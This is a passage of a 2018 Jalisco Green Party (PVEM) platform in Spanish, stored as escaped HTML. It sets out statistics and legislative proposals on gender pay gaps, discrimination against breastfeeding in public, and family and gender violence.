gen\u00e9ticas, la situaci\u00f3n migratoria, el embarazo, la lengua, las opiniones, las preferencias sexuales, la identidad o filiaci\u00f3n pol\u00edtica, el estado civil, la situaci\u00f3n familiar, las responsabilidades familiares, el idioma, los antecedentes penales o cualquier otro motivo. Tambi\u00e9n se entender\u00e1 como discriminaci\u00f3n la homofobia, misoginia, cualquier manifestaci\u00f3n de xenofobia, segregaci\u00f3n racial, antisemitismo, as\u00ed como la discriminaci\u00f3n racial y otras formas conexas de intolerancia\u201d.<\/p>\n<p>No obstante, diversas instituciones y organismos internacionales han reiterado la discriminaci\u00f3n laboral que se vive en el pa\u00eds. Desde el acceso a ciertos sectores laborales, como lo muestra la OCDE<a href=\"#_ftn6\" name=\"_ftnref6\"><sup>[6]<\/sup><\/a> con sus indicadores de Igualdad de G\u00e9nero en el Empleo (Gender Equality in Employment) donde muestra una clara disparidad por sector, por ejemplo: en el sector terciario, en particular en el subsector servicios, el 80% de las mujeres econ\u00f3micamente activas, se encuentran en dicho sector.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Captura-de-pantalla-4-300x181.png\" alt=\"\" width=\"300\" height=\"181\" \/><\/p>\n<p>Por otro lado, la publicaci\u00f3n del M\u00f3dulo de Movilidad Social Intergeneracional, una encuesta del Instituto Nacional de Estad\u00edstica y Geograf\u00eda (INEGI)<a href=\"#_ftn7\" name=\"_ftnref7\"><sup>[7]<\/sup><\/a> mostr\u00f3 la relaci\u00f3n ente el color de piel con el grado de desigualdad y discriminaci\u00f3n presentes en la sociedad mexicana, donde fungen como detonantes en la medici\u00f3n acerca de las diferencias de acceso a oportunidades y la perpetuaci\u00f3n de las barreras sociales que condicionan el poder lograr o no movimientos ascendentes al nivel de riqueza y bienestar.<\/p>\n<p>La escala crom\u00e1tica utilizada por el INEGI, incluy\u00f3 11 tonalidades de piel, ymostr\u00f3 que las personas que se auto-clasificaron en las tonalidades de piel m\u00e1s claras, solo 10% no cuenta con alg\u00fan nivel de escolaridad, mientras que para las personas que se auto-clasificaron en las tonalidades de piel m\u00e1s oscuras, 20.2%, se encuentra sin instrucci\u00f3n.<\/p>\n<p>Es por ello que no hay que perder de vista que de acuerdo a la OCDE, si para 2030 se redujera en 50 por ciento la brecha de g\u00e9nero en sus pa\u00edses miembros, el PIB crecer\u00eda 6 por ciento m\u00e1s; y si se lograra una convergencia plena, se crecer\u00eda 12 por ciento m\u00e1s. Incluso, el McKinsey Global Institute calcul\u00f3 que de lograr la igualdad de participaci\u00f3n para 2025, el PIB mundial crecer\u00eda 26 por ciento (12 trillones de d\u00f3lares); y el de Am\u00e9rica Latina crecer\u00eda 14 por ciento.<\/p>\n<p>Sin embargo, el recurso humano m\u00e1s subestimado son las mujeres. Solo 47% de las mexicanas en edad productiva participan en la fuerza de trabajo. Casi 60% de las que trabajan tienen empleos informales, con poca protecci\u00f3n social y baja paga. En el pa\u00eds, la tasa de embarazo adolescente sigue siendo alta y la cifra de mujeres j\u00f3venes sin empleo, ni educaci\u00f3n, ni capacitaci\u00f3n, cuadruplica la de los hombres. En todos los grupos de edad, las madres mexicanas tienen menor probabilidad de ser empleadas que las madres en casi todos los pa\u00edses de la OCDE.<\/p>\n<p>De acuerdo con la OCDE, M\u00e9xico se encuentra en el lugar 67 de inclusi\u00f3n de mujeres en puestos de alta direcci\u00f3n y Consejos de Administraci\u00f3n, y seg\u00fan el Foro Econ\u00f3mico Mundial, en el indicador del talento laboral femenino, nuestro pa\u00eds se ubica en el lugar 120 y en participaci\u00f3n econ\u00f3mica en el 122 de 144.<\/p>\n<p>En M\u00e9xico hay una baja participaci\u00f3n de las mujeres en el liderazgo, en el \u00e1mbito empresarial y en la toma de decisiones. De acuerdo con datos del instituto Nacional de las Mujeres (Inmujeres), mientras s\u00f3lo 43 de cada 100 mujeres participa en actividades econ\u00f3micas, 78 de cada 100 son varones est\u00e1n involucrados en ello.<\/p>\n<p>La magnitud de la pobreza y la alta concentraci\u00f3n de los ingresos muestran otro de los problemas m\u00e1s agudos de discriminaci\u00f3n social y hacia las mujeres. Varios estudios han se\u00f1alado que las mujeres son las m\u00e1s pobres, al no recibir ingresos directos o al tener menores salarios, mientras que son quienes enfrentan las carencias para la manutenci\u00f3n del hogar y para obtener otros satisfactores b\u00e1sicos para sus hijos, como las carencias habitacionales.<\/p>\n<p>En ese sentido, la Convenci\u00f3n para la Eliminaci\u00f3n de todas las formas de Discriminaci\u00f3n de la Mujer (CEDAW) afirma que las mujeres son agentes econ\u00f3micos clave que generan prosperidad, empleo, innovaci\u00f3n y son un potente motor del desarrollo. Su inserci\u00f3n en el mercado laboral, adem\u00e1s de avanzar en su autonom\u00eda econ\u00f3mica, conduce a otras oportunidades, recursos y bienes que conllevan a una mayor movilidad social que beneficia a sus familias, la comunidad y la sociedad en su conjunto. Cuando el n\u00famero de mujeres ocupadas aumenta, las econom\u00edas crecen, ya que existe una correlaci\u00f3n positiva entre la actividad empresarial femenina y el crecimiento del PIB, por ejemplo, se ha estimado que la productividad en Am\u00e9rica Latina y el Caribe, podr\u00eda aumentar un 25%<a href=\"#_ftn8\" name=\"_ftnref8\"><sup>[8]<\/sup><\/a> si se desbloquearan los obst\u00e1culos que impiden el potencial femenino al servicio del emprendimiento.<\/p>\n<p>En la actualidad, y de acuerdo con la Encuesta Nacional de Ocupaci\u00f3n y Empleo al cuarto trimestre de 2016, los hombres ocupados reportaron un ingreso promedio de seis mil 204 pesos mensuales, mientras que el de las mujeres fue de cuatro mil 788 pesos al mes, lo que implica una diferencia de mil 416 pesos, es decir que los hombres ganan 30% m\u00e1s.<\/p>\n<p>No obstante, la brecha salarial var\u00eda dependiendo del lugar de procedencia, ya que en estados con mayor presencia de industria y sectores productivos, donde los salarios son m\u00e1s altos que el promedio nacional.<\/p>\n<p>En ese sentido, en Nuevo Le\u00f3n los hombres ganan ocho mil 258 pesos al mes en promedio y las mujeres cinco mil 955 pesos en promedio; una diferencia de dos mil 303 pesos o 39%, y se coloca como la entidad con la mayor brecha salarial en el pa\u00eds al cierre del a\u00f1o pasado.<\/p>\n<p>Sonora ocupa el segundo lugar con la mayor brecha salarial, pues los hombres ganan siete mil 365 pesos mensuales en promedio y las mujeres cinco mil 336 pesos, es decir una diferencia de dos mil 29 pesos o 38 por ciento.<\/p>\n<p>En tercer lugar est\u00e1 la Ciudad de M\u00e9xico, donde los hombres perciben ocho mil 394 pesos al mes en promedio y las mujeres seis mil 837 pesos, lo que significa una brecha de 23 por ciento y un diferencial en pesos de mil 557 pesos.<\/p>\n<p>En contraste, Chiapas es el estado con el ingreso mensual m\u00e1s bajo en el pa\u00eds, lo que explica que es la \u00fanica entidad donde no haya brecha salarial, pues los hombres ganan tres mil 703 pesos y las mujeres tres mil 794.<\/p>\n<p>Al considerar s\u00f3lo los datos del sector formal las mujeres tienen casi cuatro de cada 10 empleos registrados en el IMSS, mientras que el salario diario para ellas es 14% menor al de los hombres.<\/p>\n<p>En enero de 2017, el empleo formal femenino alcanz\u00f3 los seis millones 875 mil puestos de trabajo, lo cual represent\u00f3 36.6 % de los trabajadores totales registrados en el instituto.<\/p>\n<p>En tanto al cierre de 2016, el salario diario de una mujer asociado a un empleo formal fue de 292.88 pesos diarios y el de los hombres de 333.76 pesos. En 2009 la diferencia salarial era de 17%.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Captura-de-pantalla-5-300x143.png\" alt=\"\" width=\"300\" height=\"143\" \/><\/p>\n<p>Actualmente, si una mujer aspira a ganar lo mismo que un hombre, las estad\u00edsticas disponibles muestran que no tiene muchas alternativas para lograrlo dentro de los pa\u00edses de la OCDE.<\/p>\n<p>Sin embargo, existen mecanismos para disminuir la brecha salarial, uno de ellos reci\u00e9n lo implement\u00f3 el Gobierno de Islandia, al aprobar una reforma legislativa que obligar\u00e1 a las empresas a demostrar que no discriminan a las mujeres con menores salarios en el mismo puesto de trabajo.<\/p>\n<p>Islandia est\u00e1 a la cabeza en la lucha por la igualdad entre hombres y mujeres. Pero aun presenta diferencias salariales entre hombres y mujeres. Seg\u00fan el Foro Econ\u00f3mico Mundial, las mujeres islandesas ganan entre un 14% y un 18% menos que los hombres ocupando el mismo puesto de trabajo. A pesar de la diferencia Islandia lidera en los \u00faltimos ocho a\u00f1os el ranking de menor desigualdad de g\u00e9nero en materia de salarios.<\/p>\n<p>Cabe recordar que la eliminaci\u00f3n de las brechas de g\u00e9nero se logra a trav\u00e9s de la inclusi\u00f3n laboral, siempre y cuando se garantice la igualdad y justicia a grupos, colectivos y personas hist\u00f3ricamente marginadas, por lo cual se llev\u00f3 a cabo la Norma Mexicana NMX-R-025-SCFI-2015 en Igualdad Laboral y No Discriminaci\u00f3n la cual estipula que el estar socialmente incluido implica el pleno goce de derechos y obligaciones; ya que el prop\u00f3sito fundamental de la inclusi\u00f3n laboral es el acceso a un empleo digno, productivo y bien remunerado a favor de las personas en edad de trabajar sin importar su origen \u00e9tnico o nacional, sexo, edad, discapacidad, condici\u00f3n social o econ\u00f3mica, condiciones de salud, embarazo, lengua, religi\u00f3n, opiniones, preferencias sexuales, estado civil o conyugal, entre otros motivos.<\/p>\n<p>Es por lo anterior, que el Partido Verde se encuentra comprometido en hacer que todos los centros de trabajo p\u00fablicos, privados y sociales establecidos en la Rep\u00fablica Mexicana, de cualquier tama\u00f1o, sector o actividad cumplan con dicha norma.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el art\u00edculo 86 de la Ley Federal del Trabajo para establecer el principio de equidad salarial, erradicando as\u00ed la brecha de g\u00e9nero e incluyendo la definici\u00f3n de discriminaci\u00f3n de la Ley Federal para Prevenir y Eliminar la Discriminaci\u00f3n.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el art\u00edculo 132 de la Ley Federal del Trabajo, para establecer como obligaci\u00f3n de los patrones, pagar a los trabajadores los mismos salarios sin discriminaci\u00f3n de g\u00e9nero.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el t\u00edtulo diecis\u00e9is, Responsabilidades y Sanciones, de la Ley Federal del Trabajo, para que los patrones que otorguen salarios diferenciados por g\u00e9nero, obtengan una sanci\u00f3n administrativa y que adem\u00e1s, retribuya el da\u00f1o a la persona afectada mediante la regularizaci\u00f3n de las aportaciones de su seguridad social.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: LACTANCIA SIN DISCRIMINACI\u00d3N<\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> Un Jalisco libre de discriminaci\u00f3n, que permita el sano desarrollo materno-infantil durante el periodo de lactancia.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>La afectaci\u00f3n y limitaci\u00f3n de derechos fundamentales como el de la salud, la alimentaci\u00f3n y la no discriminaci\u00f3n, implica el menoscabo a otro tipo de derechos como el del desarrollo integral de los ni\u00f1os en etapa lactaria, el cual s\u00f3lo es posible alcanzar si sus madres los proveen del alimento \u00fanico, capaz de fortalecer su salud y nutrici\u00f3n durante los primeros seis meses de su vida. Nos referimos a la leche materna o la pr\u00e1ctica de la lactancia materna.<\/p>\n<p>De acuerdo a UNICEF como a la OMS, amamantar tiene beneficios probados sobre la salud del infante, influyendo de manera positiva en su desarrollo integral. Se han probado un menor riesgo en beb\u00e9s amamantados de padecer diabetes, obesidad, caries y s\u00edndrome de muerte s\u00fabita. Por otra parte, se se\u00f1alan beneficios para la propia madre como incrementar el v\u00ednculo con el infante, disminuci\u00f3n en riesgos cardiacos, menor propensi\u00f3n a c\u00e1ncer de mama y ovarios, y una menor propensi\u00f3n a la obesidad. Tiene a su vez un beneficio econ\u00f3mico, toda vez que los productos para alimentar al beb\u00e9 son caros.<a href=\"#_ftn9\" name=\"_ftnref9\">[9]<\/a><\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>No obstante hay que reconocer que algo que parece tan natural tiene a\u00fan resistencias generadas por la sociedad, pues existen personas que creen que este tipo de acciones no debe de realizarse en p\u00fablico,\u00a0 pues hubo un caso\u00a0 en el que la administraci\u00f3n de una plaza comercial del Municipio de Zapopan \u00a0le pidi\u00f3 a una mujer que amamantaba\u00a0 a su hijo que se retirara del lugar, por considerar el acto ofensivo. Esto gener\u00f3 que en redes sociales se realizar\u00e1 una manifestaci\u00f3n masiva que convoc\u00f3 a decenas de mujeres lactantes junto con sus hijos,<\/p>\n<p>La Asociaci\u00f3n Pro Lactancia Materna (Aprolam) informo que de dos millones 300 ni\u00f1os que nacen al a\u00f1o en M\u00e9xico s\u00f3lo 30.4 por ciento se alimenta del seno materno de forma exclusiva los primeros seis meses de vida. por lo que la propuesta del Partido Verde Ecologista de M\u00e9xico en el estado de Jalisco es\u00a0 empoderar a la mujer para favorecer la lactancia materna sin actos de discriminaci\u00f3n.<\/p>\n<p>Uno de los principales factores que genera un decremento cada vez mayor para que las mujeres dejen de lactar a sus infantes, es la discriminaci\u00f3n que sufren en los lugares p\u00fablicos.<\/p>\n<p>La lactancia materna en p\u00fablico ha sido tema de debate a nivel nacional y mundial, donde se han visto a muchas mujeres en estado de lactancia ser agredidas y discriminadas, por alimentar a sus hijos en espacios p\u00fablicos como el caso que mencionamos en uno de los p\u00e1rrafos que anteceden mientras que por otro lado gran parte de este problema se debe a factores como la falta de lugares p\u00fablicos seguros, c\u00f3modos y adecuados en donde pueda facilit\u00e1rseles a las madres alimentar a sus infantes.<\/p>\n<p>Ahora bien, la importancia de amamantar a un infante durante sus primeros seis meses de vida contribuye no s\u00f3lo al fortalecimiento del desarrollo del sistema inmunol\u00f3gico y en la prevenci\u00f3n de ciertos padecimientos tales como, la diabetes, la obesidad, infecciones respiratorias o gastrointestinales, mismas que suelen ser causa de la muerte entre neonatos; sino tambi\u00e9n a la buena salud de la madre, ya que reduce en ella la probabilidad de desarrollar c\u00e1ncer de mama o de ovarios y contribuye a la p\u00e9rdida de peso despu\u00e9s del parto.<\/p>\n<p>Ante tal situaci\u00f3n de actos de discriminaci\u00f3n, es necesario reforzar los derechos fundamentales, a fin de garantizar la dignidad de las mujeres que tienen la necesidad de alimentar a sus hijos en v\u00edas y espacios p\u00fablicos, asimismo, garantizar el derecho a una alimentaci\u00f3n adecuada para el desarrollo integral de los ni\u00f1os.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el art\u00edculo 149 ter del C\u00f3digo Penal Federal para hacer m\u00e1s severas las sanciones a quien insulte o intimide a la mujer, que alimente a trav\u00e9s de la lactancia a infantes en espacios p\u00fablicos.<\/li>\n<li>La generaci\u00f3n de una pol\u00edtica p\u00fablica en la que se pretenda concientizar a la poblaci\u00f3n sobre la importancia de la lactancia materna, misma que deber\u00e1 de tener como objetivo principal\u00a0 el erradicar cualquier acto de discriminaci\u00f3n hacia las madres que lactan a sus\u00a0 bebes en espacios p\u00fablicos<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p><strong>T\u00cdTULO: VIVE SIN VIOLENCIA<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>En el Partido Verde en Jalisco estamos convencidos que la base para la integraci\u00f3n de una democracia, es el disfrute de los derechos humanos en igualdad de circunstancias, as\u00ed como la implementaci\u00f3n de acciones afirmativas para alcanzar la paridad de g\u00e9nero y la sana convivencia entre hombres, mujeres, ni\u00f1os, j\u00f3venes y adultos. Por ello, se deben garantizar los derechos civiles, familiares, econ\u00f3micos, sociales y pol\u00edticos de todos y de cada uno, pero sobretodo, eliminar todo tipo de violencia y discriminaci\u00f3n.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>La desigualdad entre mujeres y hombres, as\u00ed como la discriminaci\u00f3n y violencia, se expresan y se reproducen de manera t\u00e1cita o expl\u00edcita en diversos \u00e1mbitos de la vida cotidiana, que no solo afecta a las mujeres, sino a la sociedad en su conjunto.<\/p>\n<p>Miles de ni\u00f1os, ni\u00f1as y adolescentes en el Estado de Jalisco, crecen en un contexto de violencia cotidiana que deja secuelas profundas e incluso termina cada a\u00f1o con la vida de centenares de ellos, ya que de acuerdo con el Informe Nacional sobre Violencia y Salud<a href=\"#_ftn10\" name=\"_ftnref10\"><sup>[10]<\/sup><\/a> de la Secretar\u00eda de Salud, de 2000 a\u00a0 2006, Jalisco ocupa el lugar 7\u00a0 de ni\u00f1os de\u00a0 5 a 14 a\u00f1os que fallecieron a causa por la violencia en nuestra entidad; datos que preocupan y que requieren de acciones inmediatas por parte de administraci\u00f3n p\u00fablica estatal.<\/p>\n<p>Gran parte de la violencia que se vive hoy en d\u00eda, la cual incluye la violencia f\u00edsica, sexual, psicol\u00f3gica, discriminaci\u00f3n y abandono, permanece oculta y en ocasiones, es aprobada socialmente. Por ello, el Partido Verde Ecologista de M\u00e9xico, en Jalisco est\u00e1 comprometido en promover, respetar, proteger y garantizar los derechos humanos de hombres, mujeres, ni\u00f1os y adolescentes, con una mirada integral de lo humano, ya que desde la infancia se inculca el respeto y la tolerancia, fomentando a su vez una cultura de respeto para as\u00ed evitar todo tipo de violencia, incluyendo la violencia interfamiliar.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>La violencia no conoce de g\u00e9nero, edad o nivel socioecon\u00f3mico, por lo que es necesario darle al problema de la violencia la relevancia que tiene y buscar, en conjunto, soluciones que permitan no s\u00f3lo en el corto y mediano plazo, la reducci\u00f3n de su prevalencia y atenci\u00f3n integral de las consecuencias que produce en las distintas esferas de la vida de las personas afectadas y, en el largo plazo eliminarla como forma de relaci\u00f3n social entre los integrantes de la ciudadan\u00eda mexicana.<\/p>\n<p>La Organizaci\u00f3n Mundial de la Salud define a la violencia como: \u201cel uso intencional de la fuerza o el poder f\u00edsico, de hecho o como amenaza, contra uno mismo, otra persona o un grupo o comunidad, que cause o tenga muchas probabilidades de causar lesiones, muerte, da\u00f1os psicol\u00f3gicos, trastornos del desarrollo o privaciones\u201d.<\/p>\n<p>En los distintos \u00e1mbitos de la actividad humana, como trabajo, hogar, escuela, vida social y p\u00fablica, el impacto de la violencia genera costos. S\u00f3lo en el \u00e1mbito laboral, la Organizaci\u00f3n de la Salud distingue costos directos, indirectos e intangibles de la violencia que incluyen desde los a\u00f1os de vida saludables perdidos por discapacidad, ausentismo laboral y escolar, hasta accidentes, enfermedades, disminuci\u00f3n de la creatividad y la productividad de las personas que viven en situaciones de violencia.<\/p>\n<p>Las repercusiones en la salud de la poblaci\u00f3n por hechos violentos, ocasionan estr\u00e9s postraum\u00e1tico o cr\u00f3nico, por lo que personas que viven en hogares donde se dan relaciones de violencia interfamiliar, sufren de trastornos cardiovasculares, digestivos as\u00ed como, depresi\u00f3n, ansiedad o insomnio, entre otros.<\/p>\n<p>La violencia interfamiliar o dom\u00e9stica es entendida como aquella que se produce en el \u00e1mbito dom\u00e9stico entre cualquiera de los miembros de la familia e incluye la violencia entre iguales, el maltrato infantil o el generado a personas mayores, discapacitadas o dependientes<a href=\"#_ftn11\" name=\"_ftnref11\"><sup>[11]<\/sup><\/a>.<\/p>\n<p>En Jalisco, se ocupa el quinto lugar de violencia dom\u00e9stica, los porcentajes de personas que sufren de violencia intrafamiliar son los siguientes<a href=\"#_ftn12\" name=\"_ftnref12\"><sup>[12]<\/sup><\/a>:<\/p>\n<p><strong>Lesiones por violencia intrafamiliar registradas por m\u00e9dicos de la Secretar\u00eda de Salud de Jalisco<\/strong><\/p>\n<p>\u00a0\u00a0\u00a0\u00a0 A\u00f1o\u00a0\u00a0\u00a0 \u00a0Lesiones<\/p>\n<p>2010\u00a0\u00a0\u00a0 2652<\/p>\n<p>2011\u00a0\u00a0\u00a0 3360<\/p>\n<p>2012\u00a0\u00a0\u00a0 4010<\/p>\n<p>2013\u00a0\u00a0\u00a0 4129<\/p>\n<p>2014\u00a0\u00a0\u00a0 4090<\/p>\n<p>2015\u00a0\u00a0\u00a0 4825<\/p>\n<p>\u00a0<\/p>\n<p>Asimismo, conforme a datos oficiales de la Fiscal\u00eda General del Estado de Jalisco, el incremento de denuncias en materia de Denuncia Intrafamiliar\u00a0 ha experimentado considerables incrementos de 2010 a 2015<a href=\"#_ftn13\" name=\"_ftnref13\"><sup>[13]<\/sup><\/a>:<\/p>\n<p><strong>Denuncias reportadas por la Fiscal\u00eda General de Jalisco<\/strong><\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 A\u00f1o\u00a0\u00a0\u00a0\u00a0 \u00a0Denuncias<\/p>\n<p>2010\u00a0\u00a0\u00a0 3,622<\/p>\n<p>2011\u00a0\u00a0\u00a0 4,280<\/p>\n<p>2012\u00a0\u00a0\u00a0 5,958<\/p>\n<p>2013\u00a0\u00a0\u00a0 4,594<\/p>\n<p>2014\u00a0\u00a0\u00a0 4,576<\/p>\n<p>2015\u00a0\u00a0\u00a0 7,382<\/p>\n<p>\u00a0<\/p>\n<p>Las mujeres, los ni\u00f1os, los discapacitados y los adultos mayores son reconocidos como las v\u00edctimas m\u00e1s frecuentes de la violencia dom\u00e9stica. Cada uno de estos grupos de poblaci\u00f3n presenta caracter\u00edsticas y condiciones que los hacen en particular, vulnerables.<a href=\"#_ftn14\" name=\"_ftnref14\"><sup>[14]<\/sup><\/a><\/p>\n<p>La violencia f\u00edsica contra los menores existe debido a una aprobaci\u00f3n social generalizada respecto al control y castigo de los ni\u00f1os, en un modelo educativo jer\u00e1rquico que ha otorgado a los adultos el derecho de corregir y disciplinarlos mediante el castigo corporal<a href=\"#_ftn15\" name=\"_ftnref15\"><sup>[15]<\/sup><\/a>.<\/p>\n<p>De acuerdo a la UNICEF M\u00e9xico, 6 de cada 10 ni\u00f1as, ni\u00f1os y adolescentes, de entre 1 y 14 a\u00f1os han experimentado alg\u00fan m\u00e9todo violento de disciplina infantil en sus hogares; sin embargo, lo alarmante es que durante el 2015 se registraron 1, 057 homicidios de ni\u00f1as, ni\u00f1os y adolescentes, es decir 2.8 homicidios cada d\u00eda.<\/p>\n<p>Asimismo, la Procuradur\u00eda de Protecci\u00f3n de Ni\u00f1as, Ni\u00f1os y Adolescentes del Estado de Jalisco simplemente durante 2016, atendi\u00f3, 176 casos de maltrato en los que se involucran 309 menores de edad. Se informa por parte de la dependencia de 108 casos de maltrato emocional, 84 de maltrato f\u00edsico y m\u00e1s de 17 de abuso sexual.\u00a0\u00a0\u00a0<\/p>\n<p>Por otro lado, la agresividad contra enfermos y discapacitados, mental o f\u00edsicamente, con frecuencia, es llamada violencia invisible; los individuos con discapacidades y\/o enfermos, que dependen del cuidado de otras personas, presentan riesgos de abuso y violencia muy elevados por parte de sus cuidadores quienes, con frecuencia, son miembros de la propia familia. Esto se explica por la alta dependencia que tienen con sus cuidadores<a href=\"#_ftn16\" name=\"_ftnref16\"><sup>[16]<\/sup><\/a>.<\/p>\n<p>Tambi\u00e9n la violencia contra los adultos mayores por parte de miembros de la familia es un tema frecuente, pero silenciado. La violencia sea emocional, f\u00edsica, sexual o econ\u00f3mica, conlleva sufrimiento y dolor de ese grupo.<\/p>\n<p>Aunado con lo anterior, la violencia que se ejerce contra las mujeres, forma parte de la discriminaci\u00f3n de g\u00e9nero que existe en todos los \u00e1mbitos (desde el hogar y la familia, la escuela, la comunidad en general, en los lugares de trabajo, en las calles, espacios p\u00fablicos y transporte, en las manifestaciones culturales y en los medios de comunicaci\u00f3n); sus manifestaciones son desde la omisi\u00f3n o menosprecio, las burlas y la humillaci\u00f3n y amenazas, hasta la agresi\u00f3n f\u00edsica que causa la muerte; que ocurre en cualquier tipo de relaci\u00f3n (padres, madre, amigo, pareja, desconocido, jefe, compa\u00f1ero de trabajo, de escuela, etc.), situaci\u00f3n que\u00a0 causa miedo e inseguridad en las mujeres y evita su libre movimiento, actuaci\u00f3n y empoderamiento.<\/p>\n<p>Las cifras respecto a la violencia de g\u00e9nero en nuestra entidad son alarmantes: En los \u00faltimos cinco a\u00f1os, la violencia de g\u00e9nero ha pasado de 67.42% a 74.32% en el estado de Jalisco, cifra con la cual se coloc\u00f3 entre las cinco entidades con m\u00e1s violencia contra las mujeres, seg\u00fan las cifras reveladas en noviembre de 2017 por el Instituto Nacional de Estad\u00edstica y Geograf\u00eda<\/p>\n<p>Por rubros, Jalisco se encuentra entre las seis entidades con mayor registro de mujeres v\u00edctimas en violencia de pareja: 27.3% de ellas ha sido v\u00edctima de alg\u00fan tipo de agresi\u00f3n por parte de su esposo o novio, lo que represent\u00f3 un aumento desde el 2011. Mientras que en violencia dentro del \u00e1mbito familiar Jalisco ocupa el primer lugar con 12.8%, pese a que desde el 2011 se ha registrado un descenso de 10 por ciento.<\/p>\n<p>Respecto a feminicidios en el pa\u00eds, Jalisco es el tercer lugar con 834 homicidios de mujeres cometidos en el 2015. El Estado de M\u00e9xico y la Ciudad de M\u00e9xico est\u00e1n en primer y segundo lugar, con mil 612 y 935 v\u00edctimas registradas.<a href=\"#_ftn17\" name=\"_ftnref17\">[17]<\/a><\/p>\n<p>Seg\u00fan las estad\u00edsticas del instituto, 36 de cada 100 mujeres fueron estranguladas, ahorcadas, quemadas o golpeadas con alg\u00fan objeto o herida con arma punzocortante.<\/p>\n<p>Por ello, el Partido Verde busca incluir en el sistema educativo una materia para combatir todo tipo de violencia; una materia que promueva e inculque conocimientos, capacidades, actitudes y los valores necesarios para producir cambios de comportamiento que permitan a los ni\u00f1os, j\u00f3venes y adultos, prevenir los conflictos y la violencia, tanto la violencia evidente como la estructural; desde preescolar hasta secundaria, incluida la educaci\u00f3n para adultos, para que los mexicanos aprendamos a resolver conflictos de manera pac\u00edfica; y as\u00ed, poder crear condiciones que conduzcan a la armon\u00eda, tanto a escala interpersonal, como intergrupal y nacional.<\/p>\n<p><strong>EN EL PARTIDO VERDE PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Impulsar desde la legislatura estatal a trav\u00e9s de iniciativas de acuerdo legislativo la reforma al art\u00edculo 7 de la Ley General de Educaci\u00f3n para incorporar como\u00a0 materia, el combate a todo tipo de violencia; inculcando valores \u00e9ticos y sociales para erradicar la violencia interfamiliar, de g\u00e9nero y discriminaci\u00f3n.<\/li>\n<li>Creaci\u00f3n de la campa\u00f1a <strong>\u201cVivir sin Violencia\u201d <\/strong>que vaya acompa\u00f1ada de acciones concretas que garanticen la protecci\u00f3n de los derechos humanos, el respeto y la tolerancia.<\/li>\n<li>Reformas a la Ley de Educaci\u00f3n del Estado de Jalisco, a los reglamentos estatales y a los planes de estudio estatales respectivos, para incorporar materias para combatir y erradicar la violencia, y la discriminaci\u00f3n.<\/li>\n<li>\u00a0la generaci\u00f3n de pol\u00edticas p\u00fablicas preventivas, adem\u00e1s de campa\u00f1as permanentes de cultura y de concientizaci\u00f3n a la no violencia en coordinaci\u00f3n con las dependencias metropolitanas y municipales con funciones en tareas sociales y educativas.<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> De manera colegiada hace referencia a que, todos los involucrados con los procesos educativos que en ella se generan, participan simult\u00e1neamente dentro de un espacio caracterizado por el an\u00e1lisis de asuntos acad\u00e9micos y por las propuestas que puedan surgir entre ellos, lo cual demanda casi siempre la horizontalidad en la interacciones.<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> El Financiero, 43% de los encuestados afirm\u00f3 que la solidaridad vista tras sismos de septiembre no va a durar. Grupo Reforma, el 42% de los encuestados no conf\u00eda que la ayuda llegue a los damnificados.<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> Los fines de la educaci\u00f3n se encuentran estipulados en el art\u00edculo 7 de la Ley Federal de la Educaci\u00f3n.<\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> La gesti\u00f3n escolar es el conjunto de acciones que se realizan en la escuela para organizar y administrar su funcionamiento, lo cual incluye la manera como se toman las decisiones y se resuelven los conflictos.<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a> La Encuesta Nacional, por su parte, se aplic\u00f3 en toda la Rep\u00fablica y se tuvieron respuestas de los estados de Baja California, Colima, Distrito Federal, Aguascalientes, Guanajuato, Puebla, Sinaloa y Zacatecas. Se sistematizaron 172 respuestas de 91 escuelas. CONAPASE, 2015.<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a> http:\/\/www.oecd-ilibrary.org\/social-issues-migration-health\/data\/gender-equality\/gender-equality-in-employment_data-00725-en?isPartOf=\/content\/datacollection\/gender-equality-data-en<\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> http:\/\/www.inegi.org.mx\/saladeprensa\/boletines\/2017\/mmsi\/mmsi2017_06.pdf<\/p>\n<p><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Principios Para El Empoderamiento De Las Mujeres En Las Empresas, ONU Mujeres. http:\/\/www2.unwomen.org\/-\/media\/field%20office%20mexico\/documentos\/publicaciones\/2016\/empoderamientoweb.pdf?la=es&amp;vs=1405<\/p>\n<p><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a> 